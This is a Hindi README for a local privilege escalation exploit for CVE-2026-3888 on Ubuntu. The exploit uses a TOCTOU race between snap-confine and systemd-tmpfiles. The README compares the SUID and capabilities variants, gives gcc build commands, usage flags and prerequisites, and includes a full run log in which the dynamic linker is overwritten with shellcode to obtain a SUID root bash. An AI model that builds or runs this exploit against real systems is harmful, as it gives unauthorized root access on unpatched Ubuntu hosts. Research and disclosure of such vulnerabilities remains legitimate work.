
स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-3888 के लिए, जो Ubuntu पर snap-confine और systemd-tmpfiles को लक्षित करता है, तथा रूट एक्सेस प्राप्त करने के लिए SUID और capabilities वेरिएंट प्रदान करता है।
असुरक्षित उपयोगकर्ता से Ubuntu Desktop 24.04+ पर पूर्ण रूट तक स्थानीय विशेषाधिकार वृद्धि, snap-confine और systemd-tmpfiles के बीच TOCTOU रेस कंडीशन का शोषण करके। दो वेरिएंट प्रदान किए गए हैं: SUID और Capabilities।
CVSS: 7.8 (उच्च) | परामर्श: Qualys | पैच: snapd 2.74.2, 17 मार्च 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, आदि) |
| लक्ष्य snap | firefox | snap-store |
| नकल लक्ष्य | /usr/lib/x86_64-linux-gnu (~285 प्रविष्टियाँ) | /var/lib (~17 प्रविष्टियाँ) |
| शोषण वेक्टर | ld-linux-x86-64.so.2 को शेलकोड से अधिलेखित करें | user-fstab + ld.so.preload नियंत्रित करें |
| पेलोड प्रारूप | कच्चे syscalls के साथ स्थिर ELF | __attribute__((constructor)) के साथ साझा लाइब्रेरी |
| रूट ट्रिगर | SUID snap-confine ज़हरीले डायनामिक लिंकर को लोड करता है | /tmp/.snap में SUID su .so प्रीलोड करता है |
| cgroup आवश्यकता | कोई भी snap.* नाम | सटीक मिलान: snap.snap-store.hook.configure |
.snap सफाई | 30 दिन | 10 दिन |
| सैंडबॉक्स पलायन | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles /tmp के अंतर्गत पुरानी .snap नकल निर्देशिका को हटा देता है (30-दिन की आयु समाप्ति)snap-confine को एकल-चरण में चलाता है ताकि नकल bind-mount अनुक्रम के दौरान रेस को विश्वसनीय रूप से जीता जा सकेld-linux-x86-64.so.2 को शेलकोड से बदल दिया जाता है जो setreuid(0,0) + execve को कॉल करता हैsnap-confine निष्पादित करने से रूट विशेषाधिकारों के साथ शेलकोड ट्रिगर होता है/var/snap/firefox/common/ में छोड़ दिया जाता है| फ़ाइल | विवरण |
|---|---|
exploit_suid.c | एकीकृत एकल-बाइनरी शोषण — सभी 7 चरण एक fork-आधारित ऑर्केस्ट्रेटर में |
librootshell_suid.c | पेलोड — न्यूनतम ELF जो कच्चे x86_64 syscalls के माध्यम से ld-linux-x86-64.so.2 को बदलता है |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
दोनों को x86_64 Linux पर संकलित (या क्रॉस-संकलित) किया जाना चाहिए। exploit स्थिर रूप से लिंक किया गया है ताकि यह लाइब्रेरी निर्भरताओं के बिना snap सैंडबॉक्स के अंदर चल सके। librootshell.so -nostdlib का उपयोग करता है क्योंकि इसमें केवल कच्चे syscalls होते हैं — कोई libc नहीं।
./exploit <librootshell.so> [-d] [-s]
| फ़्लैग | विवरण |
|---|---|
-d | snap-confine डीबग आउटपुट दिखाएं (वर्बोज़ मोड) |
-s | .snap सफाई प्रतीक्षा छोड़ें (रूट पासवर्ड आवश्यक) |
# सामान्य चलाना
./exploit ./librootshell.so
# डीबग मोड
./exploit ./librootshell.so -d
# विफलता के बाद पुनः प्रयास
./exploit ./librootshell.so -s
शोषण सैंडबॉक्स में प्रवेश करता है, systemd-tmpfiles द्वारा .snap हटाए जाने की प्रतीक्षा करता है (स्टॉक Ubuntu 25.10 पर 10 दिन तक और स्टॉक Ubuntu 24.04 पर 30 दिन तक), फिर रेस को स्वचालित रूप से चलाता है। सफलता पर, रूट शेल में पहुंच जाता है।
snap-confine SUID-root होना चाहिए (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer सक्रियbusybox उपलब्ध (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] पेलोड: /home/user/./librootshell.so (9056 बाइट्स)
[चरण 1] Firefox सैंडबॉक्स में प्रवेश...
[+] आंतरिक शेल PID: 3122
[चरण 2] .snap विलोपन की प्रतीक्षा...
[*] पोलिंग (स्टॉक Ubuntu पर 30 दिन तक)।
[*] संकेत: छोड़ने के लिए -s का उपयोग करें।
[+] .snap हटा दिया गया।
[चरण 3] कैश्ड माउंट नेमस्पेस नष्ट करना...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] नेमस्पेस नष्ट हो गया।
[चरण 4] रेस सेटअप और चलाना...
[*] कार्यशील निर्देशिका: /proc/3122/cwd
[*] .snap और .exchange निर्माण...
[*] 285 प्रविष्टियाँ एक्सचेंज निर्देशिका में कॉपी की गईं
[*] रेस शुरू...
[*] snap-confine की निगरानी (चाइल्ड PID 3543)...
[!] ट्रिगर — निर्देशिकाएँ स्वैप करना...
[+] स्वैप पूर्ण — रेस जीत गया!
[*] नेमस्पेस में ld-linux: user:user 755
[+] ज़हरीला नेमस्पेस PID: 3543
[चरण 5] ज़हरीले नेमस्पेस में पेलोड इंजेक्ट करना...
[+] ld-linux uid 1000 (हमलावर) के स्वामित्व में। रेस की पुष्टि हुई।
[*] busybox स्थापित करना...
[*] पलायन स्क्रिप्ट लिखना → /tmp/sh
[*] ld-linux-x86-64.so.2 अधिलेखित करना...
[+] पेलोड इंजेक्ट किया गया।
[चरण 6] SUID snap-confine के माध्यम से रूट ट्रिगर करना...
[*] snap-confine → snap-confine (SUID ट्रिगर)
[*] निकास स्थिति: 0
[चरण 7] सत्यापन...
[+] SUID रूट bash: /var/snap/firefox/common/bash (मोड 4755)
[*] पृष्ठभूमि प्रक्रियाओं की सफाई...
================================================================
रूट शेल: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)